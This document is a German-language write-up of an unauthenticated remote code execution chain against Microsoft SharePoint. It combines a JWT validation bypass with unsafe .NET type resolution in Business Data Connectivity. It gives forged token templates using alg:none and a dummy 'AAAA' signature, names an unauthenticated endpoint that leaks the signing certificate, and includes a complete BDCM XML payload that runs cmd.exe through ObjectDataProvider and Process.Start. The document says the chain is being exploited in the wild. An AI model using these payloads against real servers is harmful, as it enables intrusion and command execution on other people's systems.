
Exploit-Kette für nicht authentifiziertes RCE auf Microsoft SharePoint, die einen JWT-Authentifizierungs-Bypass mit unsicherer .NET-Typinstanziierung kombiniert, um Codeausführung als Dienstkonto zu erreichen.
Unauthentifizierte RCE auf Microsoft SharePoint Server. Keine Anmeldedaten erforderlich.
Stephen Fewer (Rapid7) demonstrierte CVE-2026-55040 auf der Pwn2Own Berlin 2026. Rapid7 entdeckte CVE-2026-63520 anschließend während der Folgeforschung, und VulnCheck fand unabhängig eine alternative Gadget-Kette. Zusammen ergeben diese beiden Bugs eine unauthentifizierte Remote-Codeausführung gegen jedes ungepatchte SharePoint im Internet.
CISA gab innerhalb von Stunden nach Veröffentlichung des PoC Warnungen heraus. Es wird in freier Wildbahn ausgenutzt.
Zwei Bugs, eine Kette:
| CVE | Typ | CVSS | Was kaputt geht |
|---|---|---|---|
| CVE-2026-55040 | JWT-Authentifizierungs-Bypass | 9.1 | Die S2S-Token-Validierung von SharePoint hat vier unabhängige Schwachstellen. Verkette sie und du fälschst ein gültiges JWT für jeden Benutzer – einschließlich Site-Administratoren – ohne deren Passwort zu kennen. |
| CVE-2026-63520 | Unsichere .NET-Typ-Instanziierung → RCE | 8.1 | Business Data Connectivity (BDC) löst beliebige .NET-Typnamen aus hochgeladenem XML ohne jede Allowlist auf. Richte es auf ObjectDataProvider und du erhältst Process.Start(). |
Keiner der Bugs ist für sich allein interessant. CVE-2026-63520 erfordert Authentifizierung. CVE-2026-55040 verschafft dir die Authentifizierung. Zusammen: unauthentifizierte RCE als SharePoint-Dienstkonto.
SharePoint verwendet verschachtelte JWTs für die Server-zu-Server (S2S)-Authentifizierung. Ein äußeres Token trägt die Benutzeridentität, ein inneres „Actor-Token“ repräsentiert die aufrufende Anwendung. Vier Schwachstellen in SPJsonWebSecurityTokenHandlerV2.ValidateToken() lassen das Ganze kollabieren:
Schwachstelle 1 – Signaturprüfung ist deaktiviert. Der Validator setzt RequireSignedTokens = false. Das äußere Token akzeptiert alg: none. Keine Signatur erforderlich.
Schwachstelle 2 – x5t-Auflösung ohne Verifizierung. Der Signaturschlüssel des Actor-Tokens wird durch Nachschlagen des x5t-Headers (Zertifikat-Fingerabdruck) im Zertifikatsspeicher aufgelöst. SharePoint prüft nie, ob die Signatur des Actor-Tokens tatsächlich zu diesem Schlüssel passt.
Schwachstelle 3 – Issuer-Validierung akzeptiert unbekannte Zertifikate. ValidateIssuer() besteht, wenn das Signaturzertifikat nicht in der Sammlung TrustedSecurityTokenServices enthalten ist. Das eigene STS-Zertifikat von SharePoint ist dort nicht registriert. Die Referenzierung über x5t besteht die Issuer-Validierung daher bedingungslos.
Schwachstelle 4 – Nicht-kryptografische Signaturprüfung. GetTokenSignature() erfordert einen nicht-leeren String, führt aber keinerlei kryptografische Validierung durch. Jeder Wert funktioniert. AAAA funktioniert.
Das STS-Zertifikat ist öffentlich. Du holst es von /_layouts/15/metadata/json/1 – einem unauthentifizierten Endpunkt – berechnest den SHA-1-Fingerabdruck und hast alles, was du brauchst.
Äußeres Token (trägt die Benutzeridentität):
// Header
{"alg": "none", "typ": "JWT"}
// Payload
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<target SID or UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<inner JWT>"
}
// Signatur: leer (alg:none)
Inneres Actor-Token (repräsentiert die „Anwendung“):
// Header
{"alg": "RS256", "typ": "JWT", "x5t": "<STS cert thumbprint>"}
// Payload
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Signatur: "AAAA" (buchstäblich alles Nicht-Leere)
Drei Möglichkeiten, eine Identität zu wählen:
| Modus | nameid | nii | Was du brauchst |
|---|---|---|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | Domain-SID (via SMB-Null-Session) + RID-Brute |
| UPN | upn_bypass + upn-Claim | urn:office:idp:activedirectory | Eine gültige UPN (z. B. [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Nichts. Eingeschränkter Zugriff, aber für einige Ketten ausreichend. |
Der Business Data Connectivity-Dienst von SharePoint erlaubt Administratoren, externe Datenquellen über BDC-Modell-XML-Dateien (.bdcm) zu definieren. Diese Modelle spezifizieren .NET-Typen, die BDC zur Laufzeit instanziiert.
Das Problem liegt in DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // beliebiger Typ im GAC
Typnamen unter 15 Zeichen durchlaufen einen sicheren Resolver. Alles Längere ruft direkt Type.GetType() auf – das jeden assembly-qualifizierten Typnamen aus dem Global Assembly Cache auflöst. Keine Allowlist. Keine Blocklist. Der Angreifer kontrolliert abstractTypeName über das BDCM-XML.
Wir verwenden System.Windows.Data.ObjectDataProvider aus PresentationFramework. Wenn du dessen ObjectInstance-Eigenschaft setzt, ruft es MethodName auf dieser Instanz auf. Setze MethodName = "Start" und ObjectInstance = System.Diagnostics.Process mit einem manipulierten StartInfo, und die Property-Setter-Reflexion von BDC erledigt den Rest:
ObjectDataProvider erstellt
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ Property-Setter löst QueryWorker() aus
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
Das BDCM-XML, das dies transportiert:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck dokumentierte eine alternative Kette mit System.Web.UI.LosFormatter mit TypeConfuseDelegate-Deserialisierung über ein DotNetAssembly-LobSystem. Mehrere Gadgets funktionieren – das zugrunde liegende Primitive ist uneingeschränkte Typ-Instanziierung.